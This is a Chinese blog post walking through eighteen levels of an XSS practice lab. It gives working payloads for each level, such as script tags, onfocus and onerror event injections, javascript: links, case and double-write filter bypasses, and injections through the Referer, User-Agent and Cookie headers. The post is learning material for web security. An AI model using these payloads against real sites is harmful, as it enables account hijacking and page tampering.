xss详解 xss(跨站攻击)_xss script-CSDN博客
level 1
看到GET传参name,直接输入js代码name=<script>alert("哈哈哈")</script>
level 2
尝试1题方法,没成功
查看页面源码,看到<>被替换成其他符号了,但是只有第一个进行了,第二个没有
可以提前闭合value和input标签,输入
"><script>alert("哈哈哈")</script>
level 3
多了个参数submit,且这里value是单引号闭合
和2题一样试试’><script>alert("哈哈哈")</script>,发现不行,查看源码发现单引号,<>依然被替换
可以运用事件触发xss
如' οnfοcus='alert(2)
onfocus 事件在对象获得焦点时发生。
在点击搜索框即可
level 4
和上一题一样,不过换成了双引号
“ οnfοcus=”alert(2)
level 5
试试上一题的方法,发现on被替换成了o_n
查看源码确实有替换,str_replace,不区分大小写,但是strtolower会转换为小写,所以不能用大小写绕过
换一个方法,这里用href标签创造一个超链接
"> <a href=javascript:alert()>2</a>
点击即可
level 6
过滤如下,但是没有strtolower函数,可以用大小写绕过
"> <a Href=javascript:alert()>2</a>
level 7
大小写绕过过滤了,可以用双写绕过
"> <a hhrefref=javascscriptript:alert()>2</a>
level 8
看到过滤了script等东西,还过滤了大小写和双引号
这题输入的值传到了input标签和href中
没法用“闭合,因为值传到href中了,考虑用已有的href注入,但是因为过滤了一些东西不能直接上传js代码,这里可以利用href会自动进行Unicode编码解码,可以将所上传的代码转为Unicode,再自动解码
上传这段代码即可
javascript:alert(1)
level 9
比上一题多了条判断,上传的值必须有http://才行
在之前代码后加上http://再过滤掉即可
javascript:alert(1)// http://
level 10
keyword参数只传到了输出的一句话中,没什么用,但是看到了隐藏参数,利用t_sort参数,考虑到过滤了<>不能闭合标签,这里用onfocus事件,同时加一个输入框type="text"来触发事件
?t_sort=" οnfοcus=javascript:alert() type="text
level 11
和上一题差不多
试试上一题的方法,发现双引号被替换没法闭合
再看看代码,发现有HTTP_REFERER,它是获取http请求中的Referer字段,也就是链接到当前网页的上一页,转包看看,没看到referer,构造referer:111,放包
发现转到t_ref中了
利用t_ref,因为过滤了<>,所以用onfocus事件,再做一个输入框触发事件
Referer:" οnfοcus="alert(1)" type="text
level 12
和上一题一样,这次是HTTP_USER_AGENT,获取User-Agent
抓包改为User-Agent:" οnfοcus="alert(1)" type="text
level 13
这题是cookie
抓包改为Cookie:user=" οnfοcus="alert(1)" type="text
level 14
网站挂了
代码就是个跳转网站
看网上说原来是利用跳转网站,传一个属性里含有xss代码的图片达到弹窗效果
level 15
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
试试之前的方法
?src=" οnfοcus="alert(1)" type="text 发现被替换,只能换别的方法
利用ng-include输入?src='./level1.php' 包含第一题试试
我们可以包涵第一关并让第一关弹窗,但是这里不能包涵那些直接弹窗的东西如<script>,可以包涵那些标签的东西比如<a>、<input>标签等等,这些标签是能需要我们手动点击弹窗的,这里我们使用href标签
?src='./level1.php?name=<a href="" οnfοcus="alert(1)">a</a>'
level 16
这题传的值会到<center>标签输出,考虑制造一个标签传入alert
考虑到本题过滤了/,所以要找一个不要/的标签
这里用<img>标签
输入?keword=<img%0Asrc="x"%0Aοnerrοr="alert(1)">
就是图片加载错误时触发onerror事件,因为有空格替换,所以将原来需要用到空格的地方换成%0A(换行)即可
level 17
htmlspecialchars()函数是一个常用的字符串处理函数,用于将字符串中的特殊字符(如<>等)转换为HTML实体
<embed> 标签定义了一个容器,用来嵌入外部应用或者互动程序(插件)。
他这里用了flash插件,但是很多浏览器不支持该插件,像我的就不行,找一个支持flash插件的浏览器,或者将代码中的embed标签里的src的地址改为index.png即可
因为加了html实体转换,特殊符号不能用,在embed标签中的位置也不需要闭合
将arg02改值即可
arg02= οnclick=alert(1)
level 18
和上一题一样,就是换了个swf文件